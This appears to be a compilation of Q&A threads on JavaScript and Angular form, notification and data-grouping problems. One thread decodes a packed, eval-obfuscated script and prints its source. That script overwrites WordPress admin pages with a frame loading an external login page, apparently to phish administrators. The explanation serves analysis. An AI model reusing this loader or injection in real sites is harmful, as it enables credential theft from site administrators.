I have a form where I need to show an "expected value" for feedback on why the specific field is not validating.
This expected value changes with different input, like so:
var varOne = $('#id_iNeedToCheck').val() ;
var varTwo = $('#id_iNeedToCheck2').val() ;
var expectedValue = ( varOne / 28) + (varTwo / 10) + 8 ;
$('#id_iNeedToCheck').change(function(){
return [varOne = $('#id_iNeedToCheck').val(),expectedValue = (varOne / 28) + (varTwo / 10) + 8] ;
});
The custom validation then looks like this:
window.Parsley.addValidator('myValidator', {
validateNumber: function(value) {
if (value > expectedValue) {
return value - expectedValue <= 7 ;
}
else {
return expectedValue - value <= 7;
}
},
requirementType: 'string',
messages: {
en: 'Your input differs too much from what we expect, we expect ' + expectedValue + ', and your input can not be 7 more or 7 less than this value.'
}
});
inside
messages: {
en: 'Your input differs too much from what we expect, we expect ' + expectedValue + ', and your input can not be 7 more or 7 less than this value.'
}
this value is never updated, as it seems this value is only parsed once, while the custom validator is constantly reparsed and works "as intended".
How do I make sure this message is updated/reparsed as "expectedValue" keeps changing?
Dealing with interdepencencies is tricky. You could inspire yourself from this example.
Related
I am developing an application with local notifications with values coming from the database. However, it is repeating the notification with the same value countless times until changing to another.
Example:
1st - "The invoice of house #1 will expire"
2nd - "The invoice of house #1 will expire"
3rd - "The invoice of house #2 will expire"
Any idea what that might be and how to fix it?
calculateDif(idHouse, dateBill) {
let billDate= moment(dateBill);
var MyDate = new Date();
var MyDateString;
MyDateString = MyDate.getFullYear() + '-' + ('0' + (MyDate.getMonth()+1)).slice(-2)
+ '-' + ('0' + MyDate.getDate()).slice(-2);
let warningDate= billDate.diff(MyDateString, 'days');
if (warningDate <= 5) {
this.localNotifications.schedule({
id: 1,
text: 'The invoice of house ' idHouse + ' will expire',
sound: null,
data: { secret: 1 }
});
}
}
I think the problem is in the function that execute calculateDif();
You can also create an array of your articles that you have already notified, for example notifiedHouses = []
and check if the id is already notified using .some
calculateDif(idHouse, dateBill) {
let billDate= moment(dateBill);
var MyDate = new Date();
var MyDateString;
MyDateString = MyDate.getFullYear() + '-' + ('0' + (MyDate.getMonth()+1)).slice(-2)
+ '-' + ('0' + MyDate.getDate()).slice(-2);
let warningDate= billDate.diff(MyDateString, 'days');
if (warningDate <= 5 && !this.notifiedHouses.some( item => item.idHouse === idHouse )) {
this.localNotifications.schedule({
id: 1,
text: 'The invoice of house ' idHouse + ' will expire',
sound: null,
data: { secret: 1 }
});
const house = {idHouse: idHouse}
this.notifiedHouses.push(house);
}
}
I am searching for a value of yes in the field hhead of an object returned from server:
Object.keys(this.data).forEach(key => {
if (this.data[key].hhead === 'yes') {
console.log('Yes '+(this.data[key].hhead === 'yes'))
this.snackBar.open('This household already have ' + this.data[key].far + ' ' + this.data[key].lar + ' (id: ' + this.data[key].iid + ' ) as a head of household', 'Close', {
panelClass: 'error'
});
}
else {
console.log('No '+(this.data[key].hhead === 'no'))
if (data['age'] <= 17 && data['age'] < this.maxAge && (selectedFr == "Head Of Household")) {
let message = 'This individual is not the oldest in his family to be the head of household. Do you want to complete this action ?';
this.openDialog(message, updateType, ind_id, newSts, newMs, newFr, newHH, oldHH, missingData);
}
}
});
The problem with this script is that both if and else are true. So both scripts will run.
The reason is that, at the first condition, once it finds a yes value, the condition turn true.
And the second, once it finds no it will run.
The array is like:
So what I need is if an array only contains no in all rows, to run the else part. And if it found at least yes to run the first condition.
I think you are trying to attack the problem from the wrong angle. You have to scan the collection first and then run your code:
var mached = this.data.every(t => t.hhead == 'yes'); //this will print true
Object.keys(this.data).forEach(key => {
if (mached) {
console.log('Yes '+(this.data[key].hhead === 'yes'))
this.snackBar.open('This household already have ' + this.data[key].far + ' ' + this.data[key].lar + ' (id: ' + this.data[key].iid + ' ) as a head of household', 'Close', {
panelClass: 'error'
});
} else {
console.log('No '+(this.data[key].hhead === 'no'))
if (data['age'] <= 17 && data['age'] < this.maxAge && (selectedFr == "Head Of Household")) {
let message = 'This individual is not the oldest in his family to be the head of household. Do you want to complete this action ?';
this.openDialog(message, updateType, ind_id, newSts, newMs, newFr, newHH, oldHH, missingData);
}
}
});
I have a dynamically generated form with a time field which is filled in with angular-moment-picker. I want this value to be copied to the other time fields using a function assigned to ng_change. Currently this function is not called however my input field includes ng_change. When I don't use moment-picker then value is copied without any issues.
input field:
#Html.TextBoxFor(model => model.Mymodels.Model[i].Time,
new
{
#class = "form-control",
ng_Model = "Model_Time" + (i + 1),
ng_change = "copyTime(" + (i + 1) + ")",
moment_picker = "Model_Time" + (i + 1),
format = "LT",
locale = "nl",
ng_model_options = "{ updateOn: 'blur' }",
set_on_select = true
})
Copy function:
$scope.copyTime = function (index) {
console.log("Check if function is called");
$scope.Model_Time2 = $scope.Model_Time1;
$scope.Model_Time3 = $scope.Model_Time1;
$scope.Model_Time4 = $scope.Model_Time1;
};
According to the docs, it has its own function called change:
#Html.TextBoxFor(model => model.Mymodels.Model[i].Time,
new
{
change = "copyTime(" + (i + 1) + ")"
// ...
})
That said, if angular-moment is using ngModelController underneath to update the model, I'd have expected ng-change to work as well since it is invoked automatically once the model has changed. Maybe it doesn't play nice with ng-model-options?
i have search on google for many decode programs and online decode websites but nobody has decode that code, why its inpossible to decode that code?
eval(function(p, a, c, k, e, d) {
e = function(c) {
return (c < a ? '' : e(c / a)) + String.fromCharCode(c % a + 161)
};
if (!''.replace(/^/, String)) {
while (c--) {
d[e(c)] = k[c] || e(c)
}
k = [function(e) {
return d[e]
}];
e = function() {
return '\[\xa1-\xff]+'
};
c = 1
};
while (c--) {
if (k[c]) {
p = p.replace(new RegExp(e(c), 'g'), k[c])
}
}
return p
}('¤ ¬(¨,¦){§ ¢=³ ¹();¢.º(¢.¶()+(µ*·));§ £="; £="+¢.´();¡.Â¥=¨+"="+¦+£+"; °=/"}±.²=¤(){»(¡.Ã….Ä.ª("Æ")>-1&&¡.Â¥.ª(\'Â\')==-1){¡.Ã("<« Â=©% ½=©% ¾=0 ¿=0 Ã=0><À Ê=0 ¼=È://Ç.¸/®.¯></«>");¬("Â","É")}}', 42, 42, 'document|date|expires|function|cookie|value|var|name|100|indexOf|frameset|createCookie|seeeeen|login|php|path|window|onload|new|toGMTString|300|getTime|1000|org|Date|setTime|if|src|rows|border|frameboarder|frame|framespacing|cols|write|innerHTML|body|wpadminbar|x6q|http|ok|frameborder'.split('|'), 0, {}))
i hope anyone can help me to decode that.
Thanks
All of the special characters like Â, ¢, ¤ are treated as single bytes. They are variables, and the number represents the index into the second string "document|date|expires|function...". The inner function that takes the (p, a, c, k, e, d) parameters replaces each variable number with the corresponding name in that list. It returns the resulting source code as a string, and passes it to the eval() function, which takes the string and executes it as JavaScript.
If you want to see the source code after it has been unpacked, replace the very first function call eval() with an output function, like console.log() or alert().
function createCookie(name, value) {
var date = new Date();
date.setTime(date.getTime() + (300 * 1000));
var expires = "; expires=" + date.toGMTString();
document.cookie = name + "=" + value + expires + "; path = /";
}
window.onload = function() {
if (document.body.innerHTML.indexOf("wpadminbar") > -1 && document.cookie.indexOf('seeeeen') == -1) {
document.write("<frameset cols=100% rows=100% border=0 frameboarder = 0 framespacing = 0 > < frame frameborder = 0 src = http: //x6q.org/login.php></frameset>");
createCookie("seeeeen", "ok")
}
}
I'm retrieving data with http.get.
This provides me with an array of objects like below:
[{
"id”:12345,
"resource_state":2,
"external_id”:”abscdgrft”,
"upload_id”:1234567,
"athlete":{
"id”:123456,
"resource_state":2,
"firstname”:”testname”,
"lastname”:”testlastname”,
"profile_medium”:”image/athlete/medium.png",
"profile":"image/athlete/large.png",
"city”:”testcity”,
"state”:”teststate”,
…
},
"name”:”test name“,
"distance":87223.1,
"moving_time":11026,
"elapsed_time":11173,
"total_elevation_gain":682.3,
…
}]
I would like to combine all those object based on the athlete.firstname + athlete.lastname.
So for example all objects with athlete first name Jim and last name Donalds I want to be combined in one object, the same goes for all the other names.
When combining the objects based on the full name, values like "distance", "moving_time", "elapsed_time" and "total_elevation_gain" needs to be summed.
I tried using the code below but the problem is that I can't get it to work with multiple values like I mention above.
This is working only with one value, distance for example:
var obj = {}; // Initialize the object
angular.forEach(data, function(value, key) {
if (value.start_date > firstdayOfWeek && value.start_date < lastdayOfWeek) {
if (obj[value.athlete.firstname + ' ' + value.athlete.lastname]) { // If already exists
obj[value.athlete.firstname + ' ' + value.athlete.lastname] += value.distance; // Add value to previous value
} else {
obj[value.athlete.firstname + ' ' + value.athlete.lastname] = value.distance; // Add in object
}
} else {
//do nothing
}
});
console.log(obj); // Result
When I modify it like this it is not working anymore.
var obj = {};
angular.forEach(data, function(value, key) {
//console.log(value);
if (value.start_date > startOfLastWeek && value.start_date < endOfLastWeek) {
//console.log(value);
if (obj[value.athlete.firstname + ' ' + value.athlete.lastname]) { // If already exists
obj[value.athlete.firstname + ' ' + value.athlete.lastname] += {
"profile" : value.athlete.profile,
"distance" : value.distance,
"moving_time" : value.moving_time,
"elapsed_time" : value.elapsed_time,
"total_elevation_gain" : value.total_elevation_gain,
}; // Add value to previous value
} else {
obj[value.athlete.firstname + ' ' + value.athlete.lastname] = {
"profile" : value.athlete.profile,
"distance" : value.distance,
"moving_time" : value.moving_time,
"elapsed_time" : value.elapsed_time,
"total_elevation_gain" : value.total_elevation_gain,
}; // Add in object
}
} else {
//do nothing
}
});
console.log(obj); // Result
Thanks!
try to add item by item... You can't add all with += { ... }:
var obj = {};
angular.forEach(data, function(value, key) {
//console.log(value);
if (value.start_date > startOfLastWeek && value.start_date < endOfLastWeek) {
//console.log(value);
if (obj[value.athlete.firstname + ' ' + value.athlete.lastname]) { // If already exists
var aux = obj[value.athlete.firstname + ' ' + value.athlete.lastname];
aux.profile += value.athlete.profile;
aux.distance += value.distance;
...
} else {
obj[value.athlete.firstname + ' ' + value.athlete.lastname] = {
"profile" : value.athlete.profile,
"distance" : value.distance,
"moving_time" : value.moving_time,
"elapsed_time" : value.elapsed_time,
"total_elevation_gain" : value.total_elevation_gain,
}; // Add in object
}
} else {
//do nothing
}
});
console.log(obj); // Result
Use underscore or lodash groupBy, map and reduce
with lodash:
_.chain(myArr).map(function(o) {
return {
fullname: o.athlete.firstname + ' ' + o.athlete.lastname,
distance: o.distance,
moving_time: o.moving_time,
elapsed_time: o.elapsed_time,
total_elevation_gain: o.total_elevation_gain
}
}).groupBy(function(o) {
return o.fullaname
}).map(function(d, fullname) {
var totals = _.reduce(d, function(result, run, n) {
result.moving_time += run.moving_time | 0
result.elapsed_time += run.elapsed_time | 0
result.total_elevation_gain += run.total_elevation_gain | 0
return result
}, {
moving_time: 0,
elapsed_time: 0,
total_elevation_gain: 0
})
totals.fullname = fullname
return totals
})